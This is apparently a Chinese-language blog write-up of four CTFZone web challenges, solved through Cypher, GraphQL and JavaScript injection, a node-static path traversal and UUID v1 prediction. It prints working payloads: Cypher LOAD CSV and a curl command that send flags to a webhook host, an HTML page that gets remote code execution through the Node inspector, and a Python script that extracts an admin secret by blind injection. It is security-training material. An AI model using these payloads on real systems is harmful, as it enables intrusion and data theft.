這次比賽的 Web 都很愛 Injection

我解出來的 5 題有 4 題是 Injection

Web

Dead or Alive 1&2

網站的資料庫是用 Neo4J,簡單來說就是一個用圖(Graph)來存資料的資料庫
而題目本身除了提供資料庫的 dump 外,還有很明顯的 Injection 可以用

app.post('/api/setSymptoms', async (req, res) => {
    // zero-padded 9-digit number
    const ssn = ('000000000'+req.body.ssn).slice(-9)
    ...
    const symptoms = req.body.symptoms?.map?.(i => `'${i}'`).join(',');
    // saving symptoms
    setSymptoms(ssn, symptoms)
    ...
async function setSymptoms(ssn, symptoms){
    const session = driver.session();
    let q = `
        MATCH (p:Patient {ssn: '${ssn}'})
        MATCH (s:Symptom) WHERE s.name in [${symptoms}]
        MERGE (p)-[r:HAS]->(s)
    `;
    return session.run(q)

這題最麻煩的點就只有去官網把桌面應用程式載下來
把整個資料庫展示出來後就能寫 Injection 的 payload 了

Payload 1:

Mania']
    match (d:Disease) where d.name in ['Death']
    load csv from 'https://webhook.com/?flag='+replace(d.description,' ','-') as b
    //

ctfzone{C4n_Th3_D34D_Pl4y_CTF?}
Payload 2:

Mania']
    match (f:Flag)
    load csv from 'https://webhook.com/?flag='+f.flag as b
    //

ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H34lTy!}

Under Construction

網站是用 Node.js 來寫的,並且使用 node-staic 來 serve 靜態資源
同時使用 inspect 參數來啟動 Node.js 的 debugger
然後會將 stdout 跟 stderr 導入至兩個檔案

CMD ["bash","-c","node --inspect app.js 1>app-logs.out 2>app-logs.err"]

本身其實就只有將任意的 url report 給 admin bot 的功能而已
Flag 則是存在 /root/flag

npm install 的時候可以看到 node-static 有 Directory Traversal 的 vulnerable CVE-2023-26111
也就是我們可以使用這個漏洞去看到 app-logs.err 的內容

/../../app-logs.err

裡面會告訴我們 debugger 在哪個網址啟動

Debugger listening on ws://127.0.0.1:9229/<UUID>
For help, see: https://nodejs.org/en/docs/inspector

所以我們的攻擊步驟很簡單

  • 獲取 debugger 的網址
  • 用 ws 寫一個 debugger 的 client,protocol 的指令可參照 devtools-protocol
  • 將裝有我們 client 的網址發送給 bot,達成 RCE

payload:

<html>
    <script>
        const ws = new WebSocket('ws://127.0.0.1:9229/<UUID>')

        ws.onopen=()=> {
            ws.send(JSON.stringify({
                id: 0,
                method: 'Runtime.enable'
            }));
            ws.send(JSON.stringify({
                method: 'Runtime.evaluate',
                id:0,
                params:{
                expression: `
                process.mainModule.require('child_process')
                    .exec('sudo cat /root/flag.txt|curl -X POST --data-binary @- https://webhook.com')
                `,
            }
        }))
        };
    </script>
</html>

ctfzone{d3bug_m0d3_1s_c00l_f0r_CTF}

Bounty the b4r

這題感覺跟之前 HITCON CTF 2022 的 yeeclass 很像
服務有 group 跟 report,而 group 則是有分 public 跟 private
而 flag 則被存在 private group 裡面的 report 之中
要加入 private group 的話,使用者的 reputaion 必須要達 10000 以上
而且他可以從 HackerOne 來匯入 reputation

const userDataQery = `query {
	user(username: "%s") {
	  id
	  username
	  name
	  intro
	  reputation
	  rank
	}
  }`
func (s *server) PostUserImportReputation(w http.ResponseWriter, r *http.Request) {
	...
	userID := getUserID(r)

	var user db.Users
	s.db.Impl.Find(&user, "id = ?", userID)

    postBody, _ := json.Marshal(map[string]string{
		"query": fmt.Sprintf(userDataQery, *req.Username),
	})

	resp, err := http.Post("https://hackerone.com/graphql", "application/json", bytes.NewBuffer(postBody))
	...
	defer resp.Body.Close()

	type respData struct {
		Data struct {
			User struct {
				Reputation int
				Intro      string
			}
		}
	}

	var rd respData
	err = json.NewDecoder(resp.Body).Decode(&rd)
	...
	if rd.Data.User.Intro != *req.Validator {
		api.HandleError(fmt.Errorf("incorrect validator"), w)
		return
	}
	user.Reputation = uint64(rd.Data.User.Reputation)

基本上就是去他的 leaderboard 找 reputaion 超過 10000 的使用者就行了
同時他的 validator 會檢查 intro 是否不為空,這可以透過簡單的 injection 來繞過

payload:

d0xing"){reputation intro:id}ha:user(username:"

加入之後,我必須要知道 report 的 UUID 才能看到其中的內容,好在他使用的是 UUID v1,也就是使用 timestamp 跟 MAC address 的組合
同時他也有提供 group 以及 report 創建時的 timestamp,所以我們可以自己算出來

 now := time.Now().UnixNano()
rUUID, err := uuid.NewUUID()
if err != nil {
	return nil, err
}
report := Report{
	UUID:        rUUID.String(),
	Title:       title,
	Description: description,
	Program:     programId,
	Severity:    severity,
	Weakness:    weakness,
	Published:   now,
	Reporter:    reporter,
}

res = db.Impl.Create(&report)

算法如下

int_millisec = timestamp / 100
int_time = int_millisec + 122192928000000000
time = hex(int_time)

最後我們把算出來的跟透過 group 的 UUID 得知的 MAC address 結合就可以得到 report 的 UUID 了

但這題最麻煩的點不是在這裡
由於他執行 time.Now().UnixNano() 以及 uuid.NewUUID() 時會有時間差,所以還是需要多試幾次
但每次試之前,都必須做 POW,而他的 POW 則是要算提供前 5 個字的 9 個字 base64
像是這樣

POW[:5] = 'BhH9O'
MD5(POW) = '6915a583d4c35b49c13abb545bfb0560'

後來是直接用 16 核的工作站開一堆 process 下去算

CTFZone{b0un7y_th3_b4r_th3_t4st3_0f_bug5}

Raw Love

這題沒有提供 source
但稍微找一下會有幾個 endpoint

  • /login 登入
  • /register 註冊
  • /api 提供 GraphQL 的 query
  • /uploads 可以上傳圖片
  • /getImage 可以查詢所有人上傳的檔案

老實說這題的 /uploads/getImage 完全就只是障眼法
透過 Instropection 可以把所有 GraphQL 的東西找出來
接下來就是通靈 fuzzing 所有的 query 或是 mutation,看看有沒有 NoSQL 或是 SQL 的 injection
然後我就找到一個 query 叫做 filterprofile,他的參數對 ' 以及 \ 有反應,只要輸入這兩個其中之一就會回傳 null
透過更多 fuzzing 之後,我就發現他其實是 JavaScript 的 injection

{
    filterprofile(description:"'+(1==1 ?'':'123')+'") {
        id
    }
}

稍微測試一番,會發現他沒有像是 process 或是 global 之類的物件
本來還以為他其實是在 vm2 裡面執行的,並且要找到他的 OneDay 去 RCE
後來發現他沒有像是 console 之類的物件,才知道其實不是用 vm2

之後我就用 Object.keys 加 Boolean base 來查 this 裡面到底有什麼東西
結果還真的查出來一些東西

_id
id
username
password
age
secret
last_id
description
contact

最後就是用快樂二分搜來找到 admin 的 secret 了

pwn.py

import requests
while r-l!=1:
  mid = (l + r )//2
  query = f''' {{
      filterprofile(description:"'+(this.id==0 && this.secret.length>{mid} ?'Administrator':'123')+'") {{
          id
        }}
      }}
        '''
  req = requests.post('https://raw-love.ctfz.one/api',json={'query':query},headers=headers)
  if check(req):
    l = mid
  else:
    r = mid
print(f'len: {l+1}')
length = l+1
s = ''
for k in range(length):
  l = 20
  r = 128
  while r-l!=1:
    mid = (l + r )//2
    query = f''' {{
                filterprofile(description:"'+(this.id==0 && this.secret.charCodeAt({k})>{mid} ?'Administrator':'123')+'") {{
                id
                }}
            }}
        ''' 
    req = requests.post('https://raw-love.ctfz.one/api',json={'query':query},headers=headers)
    if check(req):
        l = mid
    else:
        r = mid   
  s+=chr(l+1)
print(s)

ctfzone{rM7_E_EFBBxkkli4Tk9a}

結語

謝謝學長在社團留下來的工作站,不然我可能到比賽結束還沒算出來 POW